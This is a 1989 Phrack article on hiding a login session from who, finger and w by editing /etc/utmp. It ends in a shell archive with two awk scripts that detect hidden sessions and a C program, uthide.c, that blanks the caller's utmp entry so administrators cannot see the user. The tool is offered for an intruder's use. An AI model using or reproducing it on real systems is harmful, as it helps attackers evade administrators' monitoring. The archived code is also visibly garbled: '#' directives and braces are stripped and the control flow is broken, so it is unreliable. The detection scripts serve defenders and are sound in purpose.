236 lines
8.5 KiB
Plaintext
236 lines
8.5 KiB
Plaintext
==Phrack Inc.==
|
|
|
|
Volume Three, Issue 25, File 6 of 11
|
|
|
|
HIDING OUT UNDER UNIX
|
|
|
|
By BLACK TIE AFFAIR
|
|
|
|
March 25, 1989
|
|
|
|
|
|
Under Unix, a user can see who's currently logged into the system with commands
|
|
like 'who', 'finger' and 'w'. All these programs gather parts or all of their
|
|
information by looking at the file /etc/utmp.
|
|
|
|
This file contains one record for each terminal connected to the system and
|
|
activated for logins. The format of the record differs between the various
|
|
Unix versions, but there are common fields which exist on every popular Unix
|
|
descent: The name of the terminal device (ut_line) and the name of the user
|
|
logged in on that line (ut_user).
|
|
|
|
Though the design of the Unix operating system is basically (!) consistent,
|
|
this scheme shows some problems. The information whether a process is
|
|
considered to be a terminal session is not kept in the process itself, but in a
|
|
separate file. Thus, it is the duty of user mode programs to keep this file up
|
|
to date, and gives an excellent point for a hacker to put his drill on. To be
|
|
fair here, other operating systems have similar problems. But we're talking
|
|
Unix currently.
|
|
|
|
There is another mechanism available under Unix, which can provide information
|
|
about terminal sessions: The 'controlling tty'. The first terminal device a
|
|
process opens becomes that process controlling tty. Unix uses this information
|
|
internally to determine which processes should be signaled when the user types
|
|
one of the signal generating keys (CTRL-C, CTRL-\ etc.) on the terminal. When
|
|
such a character is encountered by the terminal driver, all processes which
|
|
have this terminal device as controlling tty receive the signal corresponding
|
|
to that character.
|
|
|
|
A process is not needingly an interactive session if it has a controlling tty,
|
|
though. Any process which opens a terminal device (which could be a network
|
|
process which uses a tty device for communication to another machine) has this
|
|
terminal as it's controlling tty.
|
|
|
|
As such, it is good practice to cross-check the contents of the utmp file with
|
|
all processes in the system which have a controlling tty. Two shell scripts
|
|
which exactly do this on BSD and System V Unix systems are included at the end
|
|
of this file. Both perform the same function: They use who(1) to get a list
|
|
of the sessions mentioned in the utmp file, and ps(1) to get a list of all
|
|
processes currently running. It outputs all processes which have a controlling
|
|
tty but are not visible with who(1). A little flaw here is the fact that
|
|
getty processes waiting on a terminal for someone to log in are displayed.
|
|
|
|
The family of 'who'-programs just scans the utmp-file for entries which belong
|
|
to an active login session, and formats those records to be human-readable.
|
|
The decision whether an entry corresponds to an active session is different
|
|
under different Unix versions. Those who have the old utmp file format (System
|
|
III, System 5R1, BSD) look at the ut_user field. If the first byte is
|
|
non-null, the entry is considered to correspond to an active session. Under
|
|
System 5 since release 2, the utmp structure has been enhanced to contain a
|
|
type field (ut_type) which tells about the type of the entry. who(1) only
|
|
displays a record, when the ut_type field contains the value USER_PROCESS (as
|
|
defined in /usr/include/utmp.h). Other records are ignored unless the -a
|
|
option is specified to who(1).
|
|
|
|
Being invisible to the who-family of programs gives some advantage to a hacker.
|
|
He can stay in the system with a degraded risk of being discovered by a system
|
|
manager who spies around. Of course, a system with a properly protected utmp
|
|
file is not vulnerable to this kind of hide out, provided that the hacker
|
|
didn't manage to get root access. For clearance, a little C program which
|
|
demonstrates this kind of hideout is included in the shar file at the end of
|
|
this article. Just compile and run it with proper permissions to see how to
|
|
hide.
|
|
|
|
! /bin/sh
|
|
This is a shell archive. Remove anything before this line, then feed it
|
|
into a shell via "sh file" or similar. To overwrite existing files,
|
|
type "sh file -c".
|
|
The tool that generated this appeared in the comp.sources.unix newsgroup;
|
|
send mail to comp-sources-unix@uunet.uu.net if you want that tool.
|
|
If this archive is complete, you will see the following message at the end:
|
|
"End of shell archive."
|
|
Contents: check.bsd check.sysv uthide.c
|
|
PATH=/bin:/usr/bin:/usr/ucb ; export PATH
|
|
if test -f 'check.bsd' -a "$1" != "-c" ; then
|
|
echo shar: Will not clobber existing file \"'check.bsd'\"
|
|
else
|
|
echo shar: Extracting \"'check.bsd'\" \(305 characters\)
|
|
sed "s/^X//" >'check.bsd' <<'END_OF_FILE'
|
|
X:
|
|
X
|
|
X(who ; echo "___" ; ps au) | awk '
|
|
X if ($0 == "___")
|
|
X pslist = 1
|
|
X next
|
|
X
|
|
X if ( pslist )
|
|
X if (ttys[$7] == 0)
|
|
X print $0
|
|
X
|
|
X else
|
|
X if (substr($2, 0, 3) == "tty")
|
|
X id = substr($2, 4, 2)
|
|
X ttys[id] = 1
|
|
X else
|
|
X if ($2 == "console")
|
|
X ttys["co"] = 1
|
|
X
|
|
X
|
|
X
|
|
|
|
END_OF_FILE
|
|
if test 306 -ne `wc -c <'check.bsd'`; then
|
|
echo shar: \"'check.bsd'\" unpacked with wrong size!
|
|
fi
|
|
end of 'check.bsd'
|
|
fi
|
|
if test -f 'check.sysv' -a "$1" != "-c" ; then
|
|
echo shar: Will not clobber existing file \"'check.sysv'\"
|
|
else
|
|
echo shar: Extracting \"'check.sysv'\" \(312 characters\)
|
|
sed "s/^X//" >'check.sysv' <<'END_OF_FILE'
|
|
X:
|
|
X
|
|
X(who ; echo "___" ; ps -fe) | awk '
|
|
X if ($0 == "___")
|
|
X pslist = 1
|
|
X next
|
|
X
|
|
X if ( pslist )
|
|
X if ($6 != "?" && ttys[$6] == 0)
|
|
X print $0
|
|
X
|
|
X else
|
|
X if (substr($2, 0, 3) == "tty")
|
|
X id = substr($2, 4, 2)
|
|
X ttys[id] = 1
|
|
X else
|
|
X if ($2 == "console")
|
|
X ttys["co"] = 1
|
|
X
|
|
X
|
|
|
|
END_OF_FILE
|
|
if test 313 -ne `wc -c <'check.sysv'`; then
|
|
echo shar: \"'check.sysv'\" unpacked with wrong size!
|
|
fi
|
|
end of 'check.sysv'
|
|
fi
|
|
if test -f 'uthide.c' -a "$1" != "-c" ; then
|
|
echo shar: Will not clobber existing file \"'uthide.c'\"
|
|
else
|
|
echo shar: Extracting \"'uthide.c'\" \(1295 characters\)
|
|
sed "s/^X//" >'uthide.c' <<'END_OF_FILE'
|
|
X/* hide.c - needs write access to /etc/utmp */
|
|
X
|
|
Xinclude <sys/types.h>
|
|
Xinclude <utmp.h>
|
|
Xinclude <fcntl.h>
|
|
X
|
|
Xdefine UTMP "/etc/utmp"
|
|
X
|
|
Xifndef INIT_PROCESS
|
|
X/* this is some system with this useless utmp format. we assume bsd, but
|
|
X * it could well be system III or some other historic version. but come
|
|
X * on, guys -- go the modern way ;-)
|
|
X */
|
|
Xdefine BSD
|
|
Xendif
|
|
X
|
|
Xifdef BSD
|
|
Xdefine strrchr rindex
|
|
Xelse
|
|
Xdefine bzero(s,n) memset(s,'\0',n)
|
|
Xendif
|
|
X
|
|
Xchar *
|
|
Xbasename(path)
|
|
X
|
|
X char *path;
|
|
X char *p, *strrchr();
|
|
X
|
|
X return((path && (p = strrchr(path, '/'))) ? p+1 : path);
|
|
X
|
|
X
|
|
Xmain()
|
|
X
|
|
X struct utmp ut;
|
|
X int fd;
|
|
X char *strrchr();
|
|
X char *ttyname(), *tty = basename(ttyname(0));
|
|
X
|
|
X if (!tty)
|
|
X puts("not on a tty");
|
|
X exit(1);
|
|
X
|
|
X
|
|
X if ((fd = open(UTMP, O_RDWR)) < 0)
|
|
X perror(UTMP);
|
|
X exit(2);
|
|
X
|
|
X
|
|
X while (read(fd, &ut, sizeof(ut)) == sizeof(ut))
|
|
X if (!strncmp(ut.ut_line, tty, sizeof(ut.ut_line)))
|
|
X bzero(ut.ut_name, sizeof(ut.ut_name));
|
|
Xifndef BSD
|
|
X ut.ut_type = INIT_PROCESS;
|
|
X ut.ut_pid = 1;
|
|
Xelse
|
|
X bzero(ut.ut_host, sizeof(ut.ut_host));
|
|
Xendif BSD
|
|
X if (lseek(fd, -sizeof(ut), 1) < 0)
|
|
X puts("seek error");
|
|
X exit(3);
|
|
X
|
|
X if (write(fd, &ut, sizeof(ut)) != sizeof(ut))
|
|
X puts("write error");
|
|
X exit(4);
|
|
X
|
|
X exit(0);
|
|
X
|
|
X
|
|
X
|
|
X puts("you don't exist");
|
|
X exit(5);
|
|
X
|
|
|
|
END_OF_FILE
|
|
if test 1296 -ne `wc -c <'uthide.c'`; then
|
|
echo shar: \"'uthide.c'\" unpacked with wrong size!
|
|
fi
|
|
end of 'uthide.c'
|
|
fi
|
|
echo shar: End of shell archive.
|
|
exit 0
|
|
_______________________________________________________________________________
|